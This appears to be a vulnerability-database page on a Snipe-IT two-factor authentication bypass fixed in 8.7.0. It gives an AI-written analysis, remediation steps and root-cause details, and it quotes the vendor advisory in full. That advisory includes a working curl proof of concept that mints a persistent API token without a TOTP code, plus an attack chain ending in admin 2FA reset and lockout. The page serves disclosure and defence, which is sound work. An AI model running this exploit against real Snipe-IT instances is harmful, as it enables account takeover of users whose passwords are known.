Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain victim password (phish/leak)
-
DeliveryLog in, stop at /two-factor with no code
-
ExploitSession issued Passport API cookie
-
ExecutionPOST personal-access-tokens over api group (no 2FA gate)
-
PersistUse Bearer token for full API access
-
ImpactAdmin: reset victim 2FA and lock out
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Alternate path authentication
|
| Exploitation Conditions | Requires that the target Snipe-IT instance has 2FA enabled (two_factor_enabled set to optional '1' with the victim opted in, or required '2') and that the victim account holds the self.api permission (present on any account meant to use the REST API). The attacker must already know the victim's account password but does NOT need the TOTP second factor, and must never complete 2FA - they deliberately stop at /two-factor to receive the Passport cookie. No user interaction from the victim and no special client is required beyond a normal HTTP client echoing the session XSRF token. The primary limiting factor is password possession (PR:L); the flaw affects all versions before 8.7.0 in default configuration once 2FA is turned on. |
| Impact | This is a genuine, high-priority authentication flaw rather than an inflated high-CVSS score. The vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N, base 8.6) is well-supported by the mechanism: a network-reachable, low-complexity 2FA bypass where the only precondition is knowing the victim's password. The advisory contains a complete, copy-paste-ready proof of concept, so publicly available exploit code exists - this materially raises real-world risk versus a theory-only report. No EPSS score, CISA KEV listing, or SSVC decision data was provided; the absence of KEV means there is no confirmation of active exploitation, and no EPSS means widespread-scanning probability is unquantified - this should be treated as a targeted/credential-dependent threat, not an internet-worm-style mass-exploitation event. The key limiting factor is credential possession: the attacker must already hold the victim's password, so this is best understood as a defense-in-depth collapse (2FA becomes worthless once a password leaks or is phished) rather than a standalone unauthenticated compromise. Impact is severe when it applies: a persistent, ~40-year API token granting full read/write as the user, escalating to full admin API access and even 2FA reset/lockout if the victim is an admin. Availability impact is correctly N (no service disruption), so C/I are the driving metrics. |
| Exploit ScenarioDerived | An attacker who has phished or otherwise obtained a Snipe-IT user's password (but not their TOTP device) logs in, lands on the /two-factor page without entering a code, and - because 2FA is enforced only by the web middleware, not the api group - is issued the Passport session cookie and mints a long-lived personal-access token via /api/v1/account/personal-access-tokens. A full working PoC is published in the GitHub advisory. The attacker then uses the Bearer token for complete API access as the victim, and if the victim is an admin, calls users/two_factor_reset to hijack web access and lock the legitimate user out. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Sep 24, 2026
Two-factor authentication bypass in Snipe-IT (all releases before 8.7.0) allows an attacker who already knows a victim's account password to obtain a persistent, full-access Passport API token without ever supplying a TOTP code, because 2FA is enforced only by the Laravel 'web' middleware group while the personal-access-token endpoint sits in the un-gated 'api' group. The token grants read/write access across the victim's permissions and, for an admin victim, can also reach the admin users/two_factor_reset API endpoint to wipe the enrolled second factor - after which the attacker re-enrolls their own device and locks the legitimate user out of the web UI. Exploitation requires that 2FA actually be switched on (optional mode with the victim opted in, or required mode) and that the victim hold the self.api permission; the assessed CVSS 3.1 vector is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N, with password possession as the sole prerequisite, and the older CVSS 4.0 score is 8.6. A complete public proof-of-concept is included in vendor advisory GHSA-hxcx-9h4f-42xx, the flaw is not listed in CISA KEV, and a vendor patch is available in Snipe-IT 8.7.0.
Earlier versions of this analysis (1)
Two-factor authentication bypass in Snipe-IT (composer/snipe/snipe-it) before 8.7.0 allows an authenticated attacker who already knows a victim's password to obtain full API access without ever supplying a TOTP code. Because the CheckForTwoFactor middleware is registered only on Laravel's web group and not on the api group, a session that has passed the password check but stalled at the /two-factor prompt can still collect a Passport cookie via the route-exempt /two-factor page and then call POST /api/v1/account/personal-access-tokens to mint a persistent (40-year default expiry) token that acts as the victim across the entire REST API. If the victim is an administrator, the same token can reach users/two_factor_reset to clear enrolled 2FA, letting the password holder re-enroll their own device and lock the legitimate user out; publicly available exploit code exists (a full curl-based proof of concept is included in the vendor advisory GHSA-hxcx-9h4f-42xx), but there is no confirmation of active exploitation and no CISA KEV listing as of this analysis. The key prerequisite is prior knowledge of the victim's password, so this bug defeats precisely the compensating control 2FA is meant to provide rather than being remotely exploitable without credentials.
RemediationAI
Vendor-released patch: upgrade to Snipe-IT 8.7.0 or later, which ships the EnforceApiTwoFactorEnrollment middleware; the underlying fixes are commit 87c362962a670f427be071850b218e43eff5d08e (PR https://github.com/grokability/snipe-it/pull/19294) and commit c4ea7db51ca80bf11b1d04fbe46e4a64f54dc780, per advisory https://github.com/grokability/snipe-it/security/advisories/GHSA-hxcx-9h4f-42xx. If patching immediately is not possible, the highest-value compensating controls are: (1) revoke all existing personal access tokens and rotate passwords for every account holding self.api, since tokens minted through this bypass are long-lived and otherwise indistinguishable from legitimate credentials - the trade-off is disruption to automated integrations that rely on those tokens; (2) block or tightly restrict POST /api/v1/account/personal-access-tokens at the reverse proxy or WAF so that no token can be created outside an approved workflow, accepting that legitimate self-service token creation breaks; (3) audit the API and web logs for GET requests to /two-factor followed by token creation from the same session or IP, and for calls to users/two_factor_reset, treating any such sequence as compromise; and (4) as a last resort disable API access for accounts kept in required-2FA scope, understanding this removes programmatic access entirely. Note that enrolling every account that owns a personal access token into TOTP before enabling required 2FA on a patched instance avoids the expected 403 responses the new middleware returns for unenrolled token owners.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Snipe-IT is a Laravel (PHP) asset-management application using Laravel Passport for OAuth2/API authentication. The root cause is CWE-288 (Authentication Bypass Using an Alternate Path or Channel): the CheckForTwoFactor middleware is registered only in the 'web' middleware group in app/Http/Kernel.php, while the 'api' group runs just 'auth:api' and EnforceApiUserAgent. Because CheckForTwoFactor's IGNORE_ROUTES list includes 'two-factor', a session that has passed only the password check (LoginController::login calls Auth::login, authenticating on password alone) is allowed to hit /two-factor, and the CreateFreshApiToken middleware that runs next in the web group issues the Passport snipeit_passport_token cookie. That cookie-backed session can then POST to the ProfileController::createApiToken endpoint under routes/api.php, which is protected only by the 'self.api' gate (i.e. an authorization check, not a second-factor check), and mint a personal access token with a default 40-year expiry. The new API token is a bearer credential usable against the REST API surface (which mirrors most of the application), including admin-only endpoints such as users/two_factor_reset. The affected package identifier is pkg:composer/snipe/snipe-it. The upstream fix introduces an API-side middleware, EnforceApiTwoFactorEnrollment, added to the 'api' group after auth:api; it evaluates whether the token owner has a second factor enrolled rather than relying on the session-scoped 2fa_authed flag, passing through when 2FA is disabled or when optional mode is on and the user never opted in, and returning HTTP 403 otherwise - which is why flipping two_factor_enabled to '2' (required) on a patched instance will immediately block pre-existing personal access tokens belonging to users who have not enrolled.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Network-reachable, low-complexity 2FA bypass requiring only a valid password (PR:L); full read/write API access as the user gives C:H/I:H, no availability impact and no scope change.
Primary rating from Vendor (https://github.com/grokability/snipe-it).
CVSS VectorVendor: https://github.com/grokability/snipe-it
Lifecycle Timeline
3DescriptionCVE.org
Impact
An attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user (read and write across the user's permissions, including admin if the victim is an admin).
The token is an API credential, not a web/UI session (using it on web routes redirects to /login), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin users/two_factor_reset endpoint, which is in the same un-gated API surface, to clear the account's enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account's web access and locking the legitimate user out.
Summary:
2FA is enforced only by the web middleware group, not the api group, and the personal-access-token endpoint is in the api group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access.
Details:
CheckForTwoFactor is in the web group but not the api group:
// app/Http/Kernel.php 'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ], 'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ], // no CheckForTwoFactor
Two consequences:
/two-factoris exempt from the check, andCreateFreshApiTokenruns right after it in the web group:
// app/Http/Middleware/CheckForTwoFactor.php public const IGNORE_ROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout'];
So a password-authenticated session that lands on /two-factor (before entering a code) is let through and gets issued the Passport snipeit_passport_token cookie.
- The token endpoint is in the
apigroup, which never checks 2FA, gated only byself.api:
// routes/api.php -> Api\ProfileController::createApiToken (line 98) if (! Gate::allows('self.api')) { ... } // the only gate; no 2FA check
Login authenticates on the password alone (LoginController::login calls Auth::login). 2FA is enforced only by web middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via /two-factor, and can call the token endpoint over the api group. The token is long-lived (40-year expiry by default) and grants full API access as the user.
Proof of concept:
Setup: an account with 2FA enabled and the self.api permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.
HOST=https://snipeit.example.com/ USER=victim PASS='victim-password'
1. log in with the password only. Every web page now redirects to
/two-factor until a code is entered. never enter one.
csrf=$(curl -s -c cookies.txt "$HOST/login" \
| grep -oP 'name="_token" value="\K[^"]+') curl -s -b cookies.txt -c cookies.txt "$HOST/login" \ --data-urlencode "_token=$csrf" \ --data-urlencode "username=$USER" \ --data-urlencode "password=$PASS" -o /dev/null
2. GET /two-factor with no code. It is exempt from the 2FA check, so
CreateFreshApiToken issues the snipeit_passport_token cookie.
curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null grep -q snipeit_passport_token cookies.txt && echo "[2] Passport cookie issued, no code"
3. mint a persistent token over the api group (no 2FA check). Passport's
cookie guard wants the session's own XSRF token echoed as a header,
which our session already holds.
xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1) xsrf=$(printf '%b' "${xsrf//%/\\x}") pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \ -X POST -H "Accept: application/json" -H "X-XSRF-TOKEN: $xsrf" \ --data-urlencode "name=poc" | jq -r '.payload.token') echo "[3] token: $pat"
4. use the Bearer token against a real endpoint. /users/me returns the
victim's own account, proving the token acts as the victim with 2FA
never completed. (If the victim is an admin, the same token reaches the
whole API, e.g. GET /api/v1/users returns the full user directory.)
curl -s "$HOST/api/v1/users/me" \ -H "Authorization: Bearer $pat" -H "Accept: application/json"
Step 3 returns a token with no code ever submitted, and step 4 returns the victim's own account ({"id":1,"username":"victim","email":...}). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the api group simply never enforces it.
Patches
Fixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, EnforceApiTwoFactorEnrollment, registered on the api middleware group after auth:api. The new middleware answers the question "does this token's owner have a second factor enrolled at all?", which is orthogonal to the session-scoped 2fa_authed flag that CheckForTwoFactor relies on. Behavior:
- Passes through when there's no authenticated user (leaves the standard
auth:api401 in place). - Passes through when
two_factor_enabledis disabled in settings. - Under optional mode (
two_factor_enabled = '1'), only enforces on users who explicitly settwo_factor_optin = '1', matching the web-side behavior and preserving legacy PATs for users who never opted in. - Under required mode (
two_factor_enabled = '2'), enforces regardless of optin. - Blocks with 403 +
Helper::formatStandardApiResponse('error', null, trans('auth/message.two_factor.please_enroll'))when the token owner'stwo_factor_enrolled != '1'.
Regression coverage lives in tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php.
Credit
Reported first by colinthebomb1 and Theebanbabu, followup confirmation report by SRT at submersion [SRT@submersion.ai](mailto:SRT@submersion.ai).
Technical POC Analysis
CWE-288, Authentication Bypass Using an Alternate Path or Channel.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Latest POC
1 PoC candidate from github (unverified)
Sign in to open the public PoC links collected for this CVE.
Executive ViewAI
Snipe-IT deployments running any release before 8.7.0 are exposed to a two-factor authentication bypass in which an attacker who already holds a user's password (the vector requires authentication, PR:L) can mint a persistent, full-privilege Passport API token without ever supplying a TOTP code, and publicly available exploit code exists. Where the victim is an administrator, the attacker can also reset the enrolled second factor, register a device of their own and lock the legitimate administrator out of the web interface, so the risk includes durable loss of control of the IT asset management platform, not just data exposure. A vendor patch is available and leadership should treat upgrading to 8.7.0 as a priority on every instance where two-factor authentication is enabled.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-86291
GHSA-hxcx-9h4f-42xx
NVD
CVE.org
EPSS
Exploit-DB